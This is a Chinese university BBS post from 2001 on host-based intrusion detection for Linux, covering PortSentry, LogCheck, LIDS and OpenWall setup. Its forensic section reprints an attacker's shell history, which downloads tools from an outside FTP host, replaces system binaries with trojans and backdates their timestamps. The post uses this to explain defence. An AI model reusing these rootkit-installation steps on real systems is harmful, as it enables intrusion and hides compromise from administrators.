荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: Fadeaway (茫), 信区: Linux
标  题: Linux入侵检测
发信站: 荔园晨风BBS站 (Wed Apr 11 17:16:51 2001), 转信

这篇文章主要是关于适用于Linux的几种基于主机的入侵检测系统。特别的,我们
将会覆盖一些怎么安装这些软件包的要素,已经它们的用处和什么时候能够用到这
些东西。
系统安全101
本文将为大家展示一些基础的系统安全知识。特别的,我假设很多常见的安全措施
已经被用来抵抗来自Internet对主机的入侵。这些安全措施主要是:
防火墙,确定了系统的来自Internet的用户对哪些TCP或者UDP端口有访问的权限。
例如:我们通过一些很简单的Web Server防火墙的规则设置,就可以确定这台机器
只有用来提供http服务的80端口向用户开放。
系统是不需要没有用处的守护进程的。例如:一个Web服务器一般只需要一个正在
运行的进程来服务Web页面。进程并不是就是和服务与Web页面相关联的,譬如
RPC/Portmap服务,NFS服务,X Font服务,DNS域名服务,其他外来的或者是没有
什么用处的应用软件应该被关掉或者是禁用。在Red Hat Linux的系统中,通常我
们用一种运行等级的编辑器来进行有关的设置,譬如我们可以用ntsysv 或者
tksysv来禁用其中的那些没有要求的守护进程。
通过编辑和修改/etc/inetd.conf可以屏蔽一些不用的端口。作为一个典型的默认
值,我们安装一个新的Linux系统的时候,/etc/inetd.conf默认的打开了很多端口
。所有的系统都应该通过编辑/etc/inetd.conf,删除或者是注释掉其中的一些行
,用来禁用那些没有用处的端口,这是最基本的系统安全行为。
警戒线(Lines of Defense):
图解一、多层系统安全
这一部分,我们将讨论一个多层通道的系统安全问题。当其中一些安全层被破坏的
时候,很多安全层能够独立的应用来提供一些额外的防卫。图1就是一种多层结构
的系统安全模型。
图表中的每一层都会为自己的上一层提供额外的数据保护。例如:第一层是防火墙
,如果防火墙没有阻挡住外界的入侵尝试,那么第二层-端口守护程序就会提供额
外的保护。进一步,里面的安全系统是LIDS和LogCheck程序,在入侵尝试没有被第
二层截获的时候也会进行保护。
监控当前连接
防火墙后的第一防护层是用来监控当前与主机的连接尝试的软件包。端口守护程序
包(http://www.psionic.com/abacus/portsentry/ )提供了一些简洁和有用方式
来完成这些事情。
端口守护(PortSentry)程序的作用
端口守护程序的主要作用监控一些特殊的TCP/IP端口的活动情况。PortSentry监视
并报告一些端口的活动,其中的一种情况可能被选中,包括拒绝进一步的连接尝试
。这是一种很重要的防护措施,因为一般的黑客在入侵一个系统之前都会将会使用
一些工具来探测系统的漏洞和弱点。察觉到探测器或者是端口扫描,就可以彻底的
切断一些潜在地黑客进一步的连接尝试,中止一些带有入侵意图的进一步的端口扫
描。
安装PortSentry
对于Red Hat的用户来说,Red Hat的ftp服务器上的RPM包里面包含了这个程序。这
个站点在全球都有它的镜像,你可以在www.redhat.com上面查找距离你最近的站点
。我还不能确定.deb格式的软件包中间是PortSentry这样的程序,但是我可以确认
那里肯定是有这个软件的。对于其他Linux用户来说,通过原码来安装这个软件也
是相当地简单的。
推荐配置
PortSentry有很多运行模式,包括不同的UDP和TCP秘密运行的模式。我选择的运行
机制是把PortSentry绑定在那些没有被使用的或者是认为有潜在的入侵可能的TCP
端口上。例如:我将24小时连续的扫描我的web服务器上面的这些端口,port
143 (imap2), port 111 (portmap) 和port 23 (telnet)都是我的Internet系统上
没有使用的TCP端口。你可以通过这条命令:
portsentry -tcp
在你的系统启动的时候就使PortSentry进入基本的TCP运行模式。同时要保证
PortSentry的配置文件portsentry.conf中包含了TCP_PORTS这行配置来扫描你需要
进行扫描的端口。
反应选项
你能通过portsentry.conf中的"Response Options"部分来详细的说明什么样的反
应是PortSentry察觉了一些不期望的连接。通常我会使用ipchains来中断那些来自
于连接的源方的进一步连接。这个也可以通过portsentry.conf中下面这样一行来
进行配置:
KILL_ROUTE="/sbin/ipchains -I input -s $TARGET$ -j DENY -l"
在接受来自高端口的扫描行为的时候,可以通过删除上面一行中的-l这个选项来屏
蔽这些进一步的连接,可以有效的维持系统日志空间。
监视系统日志
诸如防火墙系统、PortSentry这样的软件可以有效的监视或者是屏蔽一些端口的不
期望的连接。这样可以防止最典型的那种"扫描-入侵"的攻击方式。
当系统需要运行特殊的服务(例如:Apache Web Server,或者是绑定了一个DNS服
务)的时候,同时有黑客破解了这种服务中的一些攻击点,这些程序就会很不幸运
的不能保持把所有的入侵者拒之门外。绑定运行着一个容易受攻击的程序的DNS服
务器,这些端口最终总是要被一些黑客通过扫描很广范围的机器的特定的一个端口
,并且会试图通过这个端口来入侵系统。很不幸,防火墙或者是PortSentry程序会
将这些入侵尝试当作正常的合理的连接。
系统日志检测(LogCheck)
LogCheck是用来扫描系统日志文件的软件(http://www.psionic.
com/abacus/logcheck/ )。LogCheck会扫描系统日志文件(在Linux系统中,系统
日志文件在/var/log/目录下面),同时当系统出现一些异常的时候,LogCheck就
会通过Email来通报给管理员。系统日志文件中的异常的消息通常是表示有一些黑
客正在尝试入侵或者是正在侵入系统。
安装LogCheck
LogCheck有四个主要的配置文件。在RPM版本中,这几个配置文件在
/etc/logcheck目录下面。通常我们只需要配置logcheck.ignore和logcheck.
violations.ignore这两个文件。我在安装完LogCheck后的程序一般是这样的:
允许LogCheck在正常的运行模式下面运行一次,这样将会一个巨大的输出文件,不
过我们可以把这个文件删除算了。
24小时以后让LogCheck再次运行一次,这次我们会在日志文件的入口处中发现产生
了一些新的东西,同时也是一个很大的但是仍然可以计算大小的文件。仔细的阅读
这个文件。
在文件的入口处有一些不需要我们关心的特定的字符串,如果这些字符串时一些"
违反安全"的片断,我们可以将这些字符串片断加入到logcheck.violations.
ignore文件中;或者当他们是"异常系统事件"的时候,我们就将这些字符串加到
logcheck.ignore中。
在折椅歌星期中,每隔12~24小时就重复一下这些步骤。在这个阶段中,我们反复
的设置.ignore文件的过滤规则,最后剩下的就是我们的系统真正关心的了。
注意到RPM文件指定LogCheck每小时运行一次,但是我只需要每天运行一次,除非
是在特定的需要监视的系统。这样可以每天把/etc/cron.hourly/logcheck这个文
件拷贝到/etc/cron中一次。
基于内核的入侵检测
基于内核的入侵检测是一种相当巧妙的新型的Linux入侵检测系统。现在最主要的
基于内核的入侵检测系统叫做LIDS,并可以从http://www.lids.org/ 下载。
什么是LIDS?
LIDS是一种基于Linux内核的入侵检测和预防系统。
LIDS的保护目的是防止超级用户root的篡改系统重要部分的。LIDS主要的特点是提
高系统的安全性,防止直接的端口连接或者是存储器连接,防止原始磁碟的使用,
同时还要保护系统日志文件。LIDS当然也会适当制止一些特定的系统操作,譬如:
安装sniffer、修改防火墙的配置文件。
LIDS文档工程
LIDS比安装PortSentry和LogCheck要复杂一点,但是很幸运的是,在LIDS的主页上
面有详细的安装和配置手册。
安装LIDS
首先,在安装之前,我们需要大部分最新的LIDS软件包(我使用的是0.9)和适当
的内核版本。我现在使用的是从Red Hat主页上下载的2.2.14-12版本的内核,因为
其中包含一些安全补丁。同时你也需要你使用的内核的一些源代码。
现在的LIDS主要是适用于2.2.14版本的内核。我安装的在2.2.14的内核的Red
Hat Linux6.2上面安装了LIDS。在安装LIDS之前,我在ftp.redhat.com下载了最新
的内核版本,并且依照http://www.redhat.
com/support/docs/howto/kernel-upgrade/kernel-upgrade.html 安装了这个内核

接着的事情就是升级内核源代码。这里我们是这样做的:
rpm -Uhv kernel-source-2.2.14-12.i386.rpm
然后就是编译和安装lidsadm这个程序:
cd /usr/local/src/security/lids-0.9/lidsadm-0.9
make
make install
生成一个RipeMD-160口令,这个以后将会在安装进内核的:
lidsadm -P
输入口令是"anypass",得到秘钥"d502d92bfead11d1ef17887c9db07a78108859e8"

接着,我把Redhat的配置文件拷贝到我的结构体系中,在/usr/src/linux目录下面

cd /usr/src/linux/configs/
cp kernel-2.2.12-i686.config ..
下面我们就使用下面的命令来安装LIDS:
cd /usr/src
patch -p0 同时我们应该注意到Red Hat所提供的内核和Linus发布的标准的2.2.
14版本的内核有一些细微的差别,因为其中包含一些修改过的驱动程序。同样
lids-0.9-2.2.14-redhat.patch文件也是和LIDS发布的标准的lids-0.9-2.2.14.
patch有一些细微的差别,不过可能后者并不是特别适合于Red Hat系统。
最后,就是配置、编译和安装内核了:
cd /usr/src/linux
make menuconfig
make dep; make clean
make
install; make modules; make modules_install
下面的脚本展示了在配置内核的过程中我设置的LIDS配置选项:
[*] Linux Intrusion Detection System support (EXPERIMENTAL)
--- LIDS features
[ ] Hang up console when raising a securit alert
[*] Security alert when execing unprotected programs before sealing
[ ] Do not execute unprotected programs before sealing LIDS
[*] Enable init children lock feature
[*] Try not to flood logs
(60) Authorised time between two identic logs (seconds)
[*] Allow switching LIDS protections
RipeMD-160 encrypted password:
d502d92bfead11d1ef17887c9db07a78108859e8
(3) Number of attempts to submit password
(3) Time to wait after a fail (seconds)
[*] Allow remote users to switch LIDS protections
[ ] Allow any program to switch LIDS protections
[*] Allow reloading config. file
[ ] Hide some known processes
[*] Port Scanner Detector in kernel
[ ] Send security alerts through network
--- Special authorizations
[ ] Allow some known processes to access /dev/mem (xfree, etc.)
[ ] Allow some known processes to access raw disk devices
[ ] Allow some known processes to access io ports
[ ] Allow some known processes to change routes
--- Special UPS
[*] Allow some known processes to unmount devices
Allowed processes: "/etc/rc.d/init.d/halt;/etc/rc.d/init.d/netfs"
[*] Unmounting capability is inherited
[*] Allow some known processes to kill init children
Allowed processes: "/etc/rc.d/init.d/halt"
[*] Killing capability is inherited
看得出,我没有使用UPS,同时运行的是一个需要能够远程访问的服务器,我就按
照上面的文件进行了配置,但是在实际应用过程中,每个人的系统根据环境不一样
,会有一些差别。
配置LIDS:
有一条特别要引起注意:在你的系统的下一次重启之前就应该配置好LIDS!
我们应该使用lidsam来配置LIDS的配置文件/etc/lids.conf,而不能手动的修改。
运行"lidsadm -h"可以获得一些关于如何使用lidsadm这个程序的帮助。LIDS提供
了很多使用LIDS保护文件的例子,例如:
lidsadm -A -r /sbin  这条命令保护/sbin整个目录,并且表示只读。
我首先的LIDS配置文件应该是这样的:
lidsadm -Z
lidsadm -A -r /usr/bin
lidsadm -A -r /bin
lidsadm -A -r /usr/sbin
lidsadm -A -r /sbin
lidsadm -A -r /usr/X11R6/bin
lidsadm -A -r /etc/rc.d
lidsadm -A -r /etc/sysconfig
一旦配置了LIDS的配置文件,就应该修改系统的启动文件保证在系统启动的时候就
能运行LIDS,这样就能有效的在内核中启动LIDS的作用。一般我都是把lidsadm加
到/etc/rc.d/rc.local的末尾,这样能够保证LIDS的功能不会妨碍系统的其他应用
程序的正常启动。下面就是我加在/etc/rc/d/rc.local中用来启动LIDS的脚本:
/sbin/lidsadm -I -- -CAP_SYS_MODULE -CAP_SYS_RAWIO -CAP_SYS_ADMIN \
-CAP_SYS_PTRACE -CAP_NET_ADMIN -CAP_LINUX_IMMUTABLE \
                    +INIT_CHILDREN_LOCK
配置lilo
我们知道,使用Redhat的RPMS升级系统内核以后需要重新配置lilo.conf来保证编
译加载过LIDS的新内核能够正常的启动。在下次重启之后,LIDS将会在系统中运行
,不过如果你需要停止LIDS而执行一些系统的任务,就应该按照下面的命令进行:

/sbin/lidsadm -S -- -LIDS或者/sbin/lidsadm -S -- -LIDS_GLOBAL
你需要提供LIDS的口令,当时在编译内核的时候在内核中加入了RipeMD-160格式。

不知道你是否注意到了,在shutdown的脚本中,很多脚本都不能正常的工作。最终
的shutdown脚本/etc/rc.d/init.d/halt将会停止所有的进程和卸载文件系统。由
于在文件rc.local中 "+INIT_CHILDREN_LOCK"的保护作用,其他的进程都没有权限
来杀掉init()的其他子进程。同时每隔10分钟,你就会收到一个关于"rmmod \as"
不能卸载模块的出错信息。这个主要是由于LIDS启动以后"-CAP_SYS_MODULE"的保
护使得模块的插入或者卸载出现了毛病。我们可以删除/etc/cron.d/kmod这个文件
来防止出错信息继续发生。
LIDS能够保护什么?
快速的浏览LIDS的文档就可以了解LIDS的一系列特性。而我认为下面的这些特性是
最重要的:
CAP_LINUX_IMMUTABLE  当文件和外那间系统被标识"immutable"防止被写;
CAP_NET_ADMIN  防止篡改网络配置(例如:防止路由表被修改);
CAP_SYS_MODULE  防止内核模块被插入或者移除;
CAP_SYS_RAWIO  防止损坏磁盘或者设备I/O;
CAP_SYS_ADMIN   防止大范围的使用其他系统功能;
INIT_CHILDREN_LOCK   which prevents child processes of the init() master
 process from being tampered with.
无论在哪个点,上面这些特性都能够通过命令"lidsadm -I"来启动,通过"lidsadm
 -S"来禁用(可以允许真正的系统管理员来进行系统配置),同时提供已经安装在
内核中的LIDS口令(是通过RipeMD-160加密的)。
剖析一次入侵
最近我一直忙于检查一些被黑过的机器,来推断一些被入侵的原因还有核实黑客对
系统破坏。很幸运,一些黑客不是特别的聪明,在入侵一些系统之后没有设法彻底
的抹掉痕迹。当黑客把一些系统守护进程的缓冲区溢出以后就可以获得root权限,
这个时候就是主机被入侵了(事实上是不可能发生的,但是安装Linux系统的人忘
记了打上RedHat最新的关于缓冲区溢出的补丁程序,并且让系统一直运行着)。当
然一些黑客也不够小心,当他们侵入主机后,很急切的获得了shell,但是他们经
常没有考虑到BASH的命令将会被存入系统日志文件中,简单的阅读/.
bash_history就可以了解黑客到底怎么机器上面作了一些什么事情。这个文件我们
可以看看(为了更加简单我们做过一些细微的修改):

mkdir /usr/lib/... ; cd /usr/lib/...
ftp 200.192.58.201 21
cd /usr/lib/...
mv netstat.gz? netstat.gz; mv ps.gz? ps.gz; mv pstree.gz? pstree.gz;
mv pt07.gz? pt07.gz; mv slice2.gz? slice2.gz; mv syslogd.gz? syslogd.
gz;
mv tcpd.gz? tcpd.gz
gzip -d *
chmod +x *
mv netstat /bin ; mv ps /bin ; mv tcpd /usr/sbin/; mv syslogd
/usr/sbin;
mv pt07 /usr/lib/; mv pstree /usr/bin ;
/usr/lib/pt07
touch -t 199910122110 /usr/lib/pt07
touch -t 199910122110 /usr/sbin/syslogd
touch -t 199910122110 /usr/sbin/tcpd
touch -t 199910122110 /bin/ps
touch -t 199910122110 /bin/netstat
touch -t 199910122110 /usr/bin/pstree
cat /etc/inetd.conf | grep -v 15678 >> /tmp/b
mv /tmp/b /etc/inetd.conf
killall -HUP inetd
通读这些内容,我们就可以了解下面的一些动作:
系统中建立了一个名字异常的目录(/usr/lib),接着黑客telnet到了自己的主机
上面(200.192.58.201,是Brazil某个地方的拨号用户),同时下载了一套黑客工
具。这些黑客工具尸没有经过压缩的,中间的一些特洛伊二进制程序被安装到了系
统中了,这些特洛亦程序覆盖了系统的netstat,ps, tcpd, syslogd和pstree命
令。这些程序是用来报告系统有那些进程正在运行,那些端口是打开的。
我们从中能学到什么呢?
首先,LIDS是不能阻止一次入侵的,黑客连接上主机通过缓冲区溢出的方式获得系
统的root权限。
一旦系统没有黑客入侵,我们看看LIDS是如何使破坏降到最低的:
LIDS通过CAP_LINUX_IMMUTABLE选项可以防止特洛亦程序被写入到/bin,/usr/bin
, /usr/sbin和/usr/lib目录中。这些目录我们一般都会标识为不可变的(chattr
 +i),因而也不会被修改。我们可以注意到,就算不使用LIDS,也可以通过
chattr +I命令来标识目录为不可变的,但是如果是通过LIDS以后,即使是root也
不能篡改不可变标识位。类似的,如果文件通过chattr +I被标识为,touck -t这
个命令也会失败。甚至第一行的"mkdir /etc/lib"这个命令也会失败,如果我们标
识文件为不可读的话。
LIDS不能防止黑客入侵,但是可以防止入侵的黑客在侵入后进行很大的系统破坏。
一个后门程序可以被安装上系统,但是没有特洛亦版本的ps,netstat和pstree能
够很早的发现这个后门进程,然后kill之。如果没有LIDS,我们不可能知道黑客通
过这个后门程序会做一些什么事情,我们唯一能够进行挽回的工作就是重装系统。

OpenWall和LIDS:额外的层另外一个和LIDS相似的系统是OpenWall工程(http:
//www.openwall.com/linux/ )。OpenWall工程在很多地方和LIDS不一样,有一个
OpenWall的特别的补丁就是使栈区为不可执行。下面是摘自OpenWall的README文档
里面的申明:
大多数缓冲区溢出攻击都是基于覆盖一些随意的程序片段中的函数返回值在堆栈中
的地址,如果堆栈为不可执行,那么缓冲区溢出的弱点将会变得很难攻击。另外一
种缓冲区溢出的方式是在libc中指出一个函数的返回地址,通常是system()。这个
补丁通过修改mmap()化的共享库,使其总是一个零字节的文件。这样使其不能再指
定一些数据,在很多攻击中不得不使用ASCIIZ字符串。
最近,在LIDS的网上上有一些完整的LIDS+OpenWall的内核补丁,这样可以提供
LIDS和OpenWall都具备的特性。
总结
在Linux系统中,通过使用这一系列的多层的安全措施,可以防止很大范围的攻击
,同时还可以防止入侵或者篡改。系统被黑客入侵口就是网络接口,在网络接口,
系统内核上我们都可以防止他人的入侵。
意识到系统中的一些潜在的安全漏洞。任何运行在系统上的守护进程或者服务,不
管是root用户还是非root用户运行的,都能够成为一个潜在的安全威胁。充分准备
好面对这些威胁。
--

你在身边的时候,你是一切.
    你不身边的时候, 一切是你.

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.27]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店